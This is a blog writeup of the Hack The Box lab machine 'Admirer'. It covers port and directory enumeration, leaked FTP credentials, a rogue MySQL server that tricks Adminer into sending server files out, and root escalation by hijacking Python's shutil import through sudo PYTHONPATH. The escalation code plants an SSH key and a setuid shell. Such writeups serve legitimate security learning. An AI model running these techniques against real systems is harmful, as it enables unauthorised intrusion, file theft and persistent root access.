Hackthebox writeup - Admirer

Mon 04 May 2020

A writeup of how I approached the HTB target Admirer. Hackthebox is a fun platform that lets you work on your enumeration, pentesting and hacking skills.

Getting information

Since this is a htb challenge we know the IP of the target, and our first goal is to learn as much as possible about the target.

  • -vv: Verbosity is increased 2x to allow us to see what Nmap is doing during the scan.
  • --reason: Adds a column to our map results for why Nmap classified it that port.
  • -Pn: Tells Nmap to skip the ping test and just scan our provided target since we know it's up (10.10.10.187).
  • -A: More aggressive scan including OS detection, Version detection, traceroute, script scanning.
  • --osscan-guess: Asks NMAP to guess the OS version if no perfect match found.
  • --version-all: Tries all version probs for every port.
  • -p-: Scan ports 1 - 65535.

PS: db_nmap can take alle the normal nmap options and parameters.

msf5 > db_nmap -vv --reason -Pn -A --osscan-guess --version-all -p- 10.10.10.187
... a lot of waiting and output here ...
msf5 > services 10.10.10.187
Services                                                                                                                                                                                                     
========

host          port   proto  name      state     info
----          ----   -----  ----      -----     ----
10.10.10.187  21     tcp    ftp       open      vsftpd 3.0.3
10.10.10.187  22     tcp    ssh       open      OpenSSH 7.4p1 Debian 10+deb9u7 protocol 2.0
10.10.10.187  80     tcp    http      open      Apache httpd 2.4.25 (Debian)
10.10.10.187  1080   tcp    socks     filtered  
10.10.10.187  3213   tcp    neon24x7  filtered  
10.10.10.187  3582   tcp    press     filtered  
10.10.10.187  5300   tcp    hacl-hb   filtered  
10.10.10.187  5487   tcp              filtered  
... a lot of filtered ports and output here ...
10.10.10.187  64421  tcp              filtered

The usual suspects, http (80), ftp (21) and ssh (22) is open. Also some other ports I never heard about is present and open.

First thing I did was to search for known vulnerabilities/exploit for vsftpd 3.0.3, but I found no one.

Next step is to see if there is any webpage present at port 80.

So we have a frontpage with pretty pictures, and a robots.txt which give a hint about an existing admin-dir.

If you try visiting the admin-dir you will receive 403: Forbidden, but this is the first hint of something.

Since this is a webserver I bring out the collection of busters, starting with dirbuster:

We got a new folder server-status which also might be of interest, so put that in your notebook. The rest of the files and folders seem to be belonging to the HTML5UP framework https://html5up.net/.

If you try visiting the server-status you will receive 403: Forbidden, but this is the second hint of something.

Searching for hidden URLs

A lot of the frustration with this one was to find the interesting pages. And the creators of the box has choosen URLs that force you to use a mix of wordlists when searching.

admirer@kali:/mnt/hgfs/kali_share/admirer/html$ nikto -host 10.10.10.187
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.187
+ Target Hostname:    10.10.10.187
+ Target Port:        80
+ Start Time:         2020-05-24 19:37:57 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.25 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ "robots.txt" contains 1 entry which should be manually viewed.
+ Apache/2.4.25 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7866 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time:           2020-05-24 19:44:59 (GMT2) (422 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Nikto didnt gave us any new information, but lets continue with...

dirb, root, recursive, common.txt:

admirer@kali:~$ dirb http://10.10.10.187

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sun May 24 19:40:37 2020
URL_BASE: http://10.10.10.187/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://10.10.10.187/ ----
==> DIRECTORY: http://10.10.10.187/assets/                                                                                                
==> DIRECTORY: http://10.10.10.187/images/                                                                                                
+ http://10.10.10.187/index.php (CODE:200|SIZE:6051)                                                                                      
+ http://10.10.10.187/robots.txt (CODE:200|SIZE:138)                                                                                      
+ http://10.10.10.187/server-status (CODE:403|SIZE:277)

---- Entering directory: http://10.10.10.187/assets/ ----
==> DIRECTORY: http://10.10.10.187/assets/css/                                                                                            
==> DIRECTORY: http://10.10.10.187/assets/js/

---- Entering directory: http://10.10.10.187/images/ ----
==> DIRECTORY: http://10.10.10.187/images/thumbs/

---- Entering directory: http://10.10.10.187/assets/css/ ----
==> DIRECTORY: http://10.10.10.187/assets/css/images/

---- Entering directory: http://10.10.10.187/assets/js/ ----

---- Entering directory: http://10.10.10.187/images/thumbs/ ----

---- Entering directory: http://10.10.10.187/assets/css/images/ ----

-----------------
END_TIME: Sun May 24 20:05:19 2020
DOWNLOADED: 32284 - FOUND: 3

We got some new information, mostly the server-status directory, lets continue with...

dirb, root, recursive, big.txt:

admirer@kali:~$ dirb http://10.10.10.187 /usr/share/dirb/wordlists/big.txt -X .txt,.php,,

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Mon May 25 08:25:07 2020
URL_BASE: http://10.10.10.187/
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt
EXTENSIONS_LIST: (.txt,.php,,) | (.txt)(.php)() [NUM = 3]

-----------------

GENERATED WORDS: 20458

---- Scanning URL: http://10.10.10.187/ ----
==> DIRECTORY: http://10.10.10.187/assets/                                                                                                                                                                  
==> DIRECTORY: http://10.10.10.187/images/                                                                                                                                                                  
+ http://10.10.10.187/index.php (CODE:200|SIZE:6051)                                                                                                                                                        
+ http://10.10.10.187/robots.txt (CODE:200|SIZE:138)                                                                                                                                                        
+ http://10.10.10.187/robots.txt (CODE:200|SIZE:138)                                                                                                                                                        
+ http://10.10.10.187/server-status (CODE:403|SIZE:277)

---- Entering directory: http://10.10.10.187/assets/ ----
==> DIRECTORY: http://10.10.10.187/assets/css/                                                                                                                                                              
==> DIRECTORY: http://10.10.10.187/assets/js/

---- Entering directory: http://10.10.10.187/images/ ----
==> DIRECTORY: http://10.10.10.187/images/thumbs/

---- Entering directory: http://10.10.10.187/assets/css/ ----
==> DIRECTORY: http://10.10.10.187/assets/css/images/

---- Entering directory: http://10.10.10.187/assets/js/ ----

---- Entering directory: http://10.10.10.187/images/thumbs/ ----

---- Entering directory: http://10.10.10.187/assets/css/images/ ----

-----------------
END_TIME: Mon May 25 14:30:36 2020
DOWNLOADED: 429618 - FOUND: 4
admirer@kali:~$

The big.txt list didnt gave us any new information when starting at root, but lets continue with...

dirb, /admin-dir, non-recursive, big.txt:

admirer@kali:/mnt/hgfs/kali_share/admirer$ dirb http://10.10.10.187/admin-dir /usr/share/dirb/wordlists/big.txt -r -X .txt,.php

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sun May 24 23:17:45 2020
URL_BASE: http://10.10.10.187/admin-dir/
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt
OPTION: Not Recursive
EXTENSIONS_LIST: (.txt,.php) | (.txt)(.php) [NUM = 2]

-----------------

GENERATED WORDS: 20458

---- Scanning URL: http://10.10.10.187/admin-dir/ ----
+ http://10.10.10.187/admin-dir/contacts.txt (CODE:200|SIZE:350)                                                                          
+ http://10.10.10.187/admin-dir/credentials.txt (CODE:200|SIZE:136)

-----------------
END_TIME: Sun May 24 23:47:54 2020
DOWNLOADED: 40916 - FOUND: 2
admirer@kali:/mnt/hgfs/kali_share/admirer$

Ah, interesting... A file called contacts.txt and credentials.txt.

Connect to FTP

By looking for hidden URLs we discovered a leftover document with credentials for the ftpuser. So lets try them.

admirer@kali:~$ ftp
ftp> open 10.10.10.187
Connected to 10.10.10.187.
220 (vsFTPd 3.0.3)
Name (10.10.10.187:admirer): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-x---    2 0        111          4096 Dec 03 21:21 .
drwxr-x---    2 0        111          4096 Dec 03 21:21 ..
-rw-r--r--    1 0        0            3405 Dec 02 21:24 dump.sql                                                                                                                                             
-rw-r--r--    1 0        0         5270987 Dec 03 21:20 html.tar.gz  
226 Directory send OK.
ftp> pwd
257 "/" is the current directory
ftp> get dump.sql
local: dump.sql remote: dump.sql
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for dump.sql (3405 bytes).
226 Transfer complete.
3405 bytes received in 0.00 secs (3.0692 MB/s)
ftp> get html.tar.gz
local: html.tar.gz remote: html.tar.gz
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for html.tar.gz (5270987 bytes).
226 Transfer complete.
5270987 bytes received in 5.75 secs (894.9799 kB/s)                                                                                                                                                                                                                                                                                                                                                      
ftp> exit
221 Goodbye.

We got ourself a sqldump, and a archived website.

admirer@kali:/mnt/hgfs/kali_share/admirer/html$ tree -d
.
├── assets
│   ├── css
│      └── images
│   ├── js
│   ├── sass
│      ├── base
│      ├── components
│      ├── layout
│      └── libs
│   └── webfonts
├── images
│   ├── fulls
│   └── thumbs
├── utility-scripts
└── w4ld0s_s3cr3t_d1r

15 directories

Filtering out the part that obious belong to HTML5UP framework https://html5up.net/ we are left with:

admirer@kali:/mnt/hgfs/kali_share/admirer/html$ tree utility-scripts/ w4ld0s_s3cr3t_d1r/
utility-scripts/
├── admin_tasks.php
├── db_admin.php
├── info.php
└── phptest.php
w4ld0s_s3cr3t_d1r/
├── contacts.txt
└── credentials.txt

Lets try to scan the utility-scripts folder for hidden URLs.

dirb, /utility-scripts, non-recursive, big.txt:

admirer@kali:/mnt/hgfs/kali_share/admirer$ dirb http://10.10.10.187/utility-scripts /usr/share/dirb/wordlists/big.txt -r -X .txt,.php

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sun May 24 23:17:10 2020
URL_BASE: http://10.10.10.187/utility-scripts/
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt
OPTION: Not Recursive
EXTENSIONS_LIST: (.txt,.php) | (.txt)(.php) [NUM = 2]

-----------------

GENERATED WORDS: 20458

---- Scanning URL: http://10.10.10.187/utility-scripts/ ----                                                                               
+ http://10.10.10.187/utility-scripts/adminer.php (CODE:200|SIZE:4294)                                                                     
+ http://10.10.10.187/utility-scripts/info.php (CODE:200|SIZE:83922)                                                                      
+ http://10.10.10.187/utility-scripts/phptest.php (CODE:200|SIZE:32)

-----------------
END_TIME: Sun May 24 23:47:20 2020
DOWNLOADED: 40916 - FOUND: 3
admirer@kali:/mnt/hgfs/kali_share/admirer$

Cool, 3 new hidde pages: utility-scripts/adminer.php, utility-scripts/info.php and utility-scripts/phptest.php.

The last page utility-scripts/adminer.php seems to be interesting since it has a loginform. It is also the frontpage of the popular AdminerDB tool, formerly known as phpMyAdmin. Lets search the Internet and see if there is any known vulnerabilities we can take advantage of :)

After trying and failing a few approach I found this one: https://sansec.io/research/sites-hacked-via-mysql-protocal-flaw

The basic approach is to start a rogue-mysql server on your own host, then use Adminer to connect back from the victim host to your rogue-mysql server. Your rogue-mysql server will then ask the connecting victim to deliver files to it.

I choose this one as rogue-mysql server: https://github.com/Gifts/Rogue-MySql-Server/blob/master/rogue_mysql_server.py

With the following config where PORT and filelist are the important parts:

#!/usr/bin/env python
#coding: utf8

import socket
import asyncore
import asynchat
import struct
import random
import logging
import logging.handlers

PORT = 3307

log = logging.getLogger(__name__)

log.setLevel(logging.DEBUG)
tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
log.addHandler(
    tmp_format
)

filelist = (
    '../index.php',
    './index.php',
    'index.php',
)


#================================================
#=======No need to change after this lines=======
#================================================

Start the rogue-mysql server:

$ python roguemysql.py
$ tail -f mysql.log

Switch to your webbrowser and "login" to the Adminer page:

If you watch your mysql.log closely you will se alot of information scrolling by:

2020-05-26 16:27:05,680:DEBUG:Data recved: '\x02<!DOCTYPE HTML>\n<!--\n\tMultiverse by HTML5 UP\n\thtml5up.net | @ajlkn\n\tFree for personal and commercial use under the CCA 3.0 license (html5up.net/licens
e)\n-->\n<html>\n\t<head>\n\t\t<title>Admirer</title>\n\t\t<meta charset="utf-8" />\n\t\t<meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no" />\n\t\t<link rel="stylesheet"
 href="assets/css/main.css" />\n\t\t<noscript><link rel="stylesheet" href="assets/css/noscript.css" /></noscript>\n\t</head>\n\t<body class="is-preload">\n\n\t\t<!-- Wrapper -->\n\t\t\t<div id="wrapper">\n
\n\t\t\t\t<!-- Header -->\n\t\t\t\t\t<header id="header">\n\t\t\t\t\t\t<h1><a href="index.html"><strong>Admirer</strong> of skills and visuals</a></h1>\n\t\t\t\t\t\t<nav>\n\t\t\t\t\t\t\t<ul>\n\t\t\t\t\t\t\
t\t<li><a href="#footer" class="icon solid fa-info-circle">About</a></li>\n\t\t\t\t\t\t\t</ul>\n\t\t\t\t\t\t</nav>\n\t\t\t\t\t</header>\n\n\t\t\t\t<!-- Main -->\n\t\t\t\t\t<div id="main">\t\t\t\n\t\t\t\t\t
 <?php\n                        $servername = "localhost";\n                        $username = "waldo";\n                        $password = "&<h5b~yK3F#{PaPB&dA}{H>";\n                        $dbname = "
admirerdb";\n\n                        // Create connection\n                        $conn = new mysqli($servername, $username, $password, $dbname);\n                        // Check connection\n          
              if ($conn->connect_error) {\n                            die("Connection '

... if you inspect it even more closely you will se $username = "waldo" and $password = "&".

A username and password... Lets try this somewhere... Maybe in a ssh-client?

admirer@kali:/mnt/hgfs/kali_share/admirer$ ssh waldo@10.10.10.187
waldo@10.10.10.187's password: 
Linux admirer 4.9.0-12-amd64 x86_64 GNU/Linux

The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Wed Apr 29 10:56:59 2020 from 10.10.14.3
waldo@admirer:~$ pwd
/home/waldo
waldo@admirer:~$ cd
waldo@admirer:~$ ls
user.txt
waldo@admirer:~$ cat user.txt 
93bb28eb33a651a75578bb9054041683

The quest for root

First step, ALWAYS, is to check if there is anything I can do with the sudo command:

waldo@admirer:~$ sudo -l
[sudo] password for waldo: 
Matching Defaults entries for waldo on admirer:
    env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, listpw=always

User waldo may run the following commands on admirer:
    (ALL) SETENV: /opt/scripts/admin_tasks.sh

Ah... There are a script in /opt/scripts:

waldo@admirer:~$ ls -la /opt/scripts/
total 16
drwxr-xr-x 2 root admins 4096 Dec  2 20:36 .
drwxr-xr-x 3 root root   4096 Nov 30 06:23 ..
-rwxr-xr-x 1 root admins 2613 Dec  2 20:36 admin_tasks.sh
-rwxr----- 1 root admins  198 Dec  2 20:36 backup.py

Inspect /opt/scripts/admin_tasks.sh script:

#!/bin/bash
...cut...
backup_web()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Running backup script in the background, it might take a while..."
        /opt/scripts/backup.py &
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}
...cut...
# Interactive way, to be called from the command line
options=("View system uptime"
         "View logged in users"
         "View crontab"
         "Backup passwd file"
         "Backup shadow file"
         "Backup web data"
         "Backup DB"
         "Quit")

echo
echo "[[[ System Administration Menu ]]]"
PS3="Choose an option: "
COLUMNS=11
select opt in "${options[@]}"; do
    case $REPLY in
        1) view_uptime ; break ;;
        2) view_users ; break ;;
        3) view_crontab ; break ;;
        4) backup_passwd ; break ;;
        5) backup_shadow ; break ;;
        6) backup_web ; break ;;
        7) backup_db ; break ;;
        8) echo "Bye!" ; break ;;

        *) echo "Unknown option." >&2
    esac
done

exit 0

I have removed the part of the script that is not of interest at the moment. The gist is that you are allowed to run this script with sudo, and if you choose the option 6) backup_web it will run the other script /opt/scripts/backup.py.

This HAS to be exploitable?

Inspect /opt/scripts/backup.py script:

#!/usr/bin/python3
from shutil import make_archive
src = '/var/www/html/'
# old ftp directory, not used anymore
#dst = '/srv/ftp/html'
dst = '/var/backups/html'
make_archive(dst, 'gztar', src)

So what do we know?: We can run /opt/scripts/admin_tasks.sh and /opt/scripts/backup.py (indirect) with sudo, but we can not edit any of the files.

Since the /opt/scripts/backup.py script is importing make_archive from shutil our best option is to override this import and inject our own code.

Lets create a new python module with the same name as the one that /opt/scripts/backup.py is importing.

waldo@admirer:/tmp$ tree 
.
├── shutil
│   ├── __init__.py
│   ├── shutil.py

waldo@admirer:/tmp$ cat shutil/__init__.py
waldo@admirer:/tmp$ cat shutil/shutil.py
import os

def make_archive(base_name, format, root_dir=None, base_dir=None, verbose=0,
                 dry_run=0, owner=None, group=None, logger=None):
    print("\n")
    for root, dirs, files in os.walk("/root"):
        for filename in files:
            print(filename)

    f = open("/root/root.txt", "r")
    print(f.read())
    f.close

    if not os.path.exists("/root/.ssh"):
        os.mkdir("/root/.ssh")
    f = open("/root/.ssh/authorized_keys", "a+")
    string_to_write = "ssh-rsa AAA...NgQ== admirer@kali"
    f.write(string_to_write)
    f.close

    os.system("cp /bin/sh /tmp/mine; chmod +s /tmp/mine")

    return ""

Following the format of a python module we have a folder named shutil with a file init.py and a file shutil.py. The init.py is empty by design, and shutil.py has a function with the same name make_archive. Your attack code goes into the make_archive function.

As an example I do the following:

  • list all the files in /root
  • retrieve the root-flag
  • insert my own ssh publickey to authorized_keys (so that I can login as root)
  • drop a rootshell which can be executed by the user waldo and potential other non-priviliged users on the system.

The last piece of the puzzle is to inject my python module so that /opt/scripts/backup.py runs that, instead of the system python module:

waldo@admirer:/tmp$ sudo PYTHONPATH=/tmp/shutil /opt/scripts/admin_tasks.sh
[[[ System Administration Menu ]]]
1) View system uptime
2) View logged in users
3) View crontab
4) Backup passwd file
5) Backup shadow file
6) Backup web data
7) Backup DB
8) Quit
Choose an option: 6
Running backup script in the background, it might take a while...
waldo@admirer:/tmp/shutil$

root.txt
.wget-hsts
.selected_editor
.profile
.lesshst
.mysql_history
.bashrc
.bash_history
76d973e71988d7475f0a3b000ca0289b

We start the /opt/scripts/admin_tasks.sh script with sudo, and an override of the PYTHONPATH variable, which makes the system looking into /tmp/shutil for the import/function from shutil import make_archive statement.

Lets test that our access as root works before submitting the flag.

admirer@kali:~/.ssh$ ssh root@10.10.10.187
Enter passphrase for key '/home/admirer/.ssh/id_rsa': 
Linux admirer 4.9.0-12-amd64 x86_64 GNU/Linux

The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed May 27 15:11:52 2020 from 10.10.14.5
root@admirer:~# whoami 
root
root@admirer:~#

Congratulations!

You have now got both the user AND the root flag for the htb Admirer.